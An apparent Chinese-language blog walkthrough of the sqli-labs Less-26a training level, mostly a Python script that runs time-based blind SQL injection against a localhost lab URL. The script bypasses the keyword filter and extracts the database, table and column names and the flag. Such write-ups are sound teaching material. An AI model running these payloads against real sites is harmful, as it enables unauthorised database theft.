本关为sql-labs系列less26a,此系列持续更新,前面的关卡可以查看我前面的文章,本关使用bool盲注的方法用脚本跑,如有错误的地方欢迎师傅指正。
这一关在less26的基础上没有了报错回显,所以不能再用报错注入,而且由于阿帕奇的原因也不能使用空字符代替空格(在这一篇有讲),所以就只能使用时间盲注,通过页面返回时间判断是否注入正确,不过也有一个不适用时间盲注的方法,如下:
测试过程就不再赘述,直接看图:
使用left函数从左到右逐次判断,用burpsuite爆破,不过比较麻烦,不推荐这种方法。
先看效果图:
方法跟前面的9、10关差不多,直接放脚本:
import requests
import time
import datetime
url = "http://localhost/sqli-labs-master/Less-26a/?id=1'"
def get_dbname():
db_name = ''
for i in range(10):
for k in range(32,127):
payload = "%%26%%26if(ascii(substr(database(),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
#%26代表&符号,因为%是转义符所以要用双百分号。
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
db_name += chr(k)
print("数据库名为->"+db_name)
get_dbname()
def get_table():
table = ''
for i in range(40):
for k in range(32,127):
payload = "%%26%%26if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
table += chr(k)
print("所有表名为->"+table)
get_table()
def get_columns():
column_name = ''
for i in range(20):
for k in range(32,127):
payload = "%%26%%26if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='flag')),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
column_name += chr(k)
print("flag所有字段名为->"+column_name)
get_columns()
def get_flag():
flag = ''
for i in range(30):
for k in range(32,127):
payload = "%%26%%26if(ascii(substr((select(flag)from(flag)),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
flag += chr(k)
print("flag为->"+flag)
get_flag()
可以自己参考脚本,脚本详细细节可以访问sql-labs-less9/less10,感谢支持!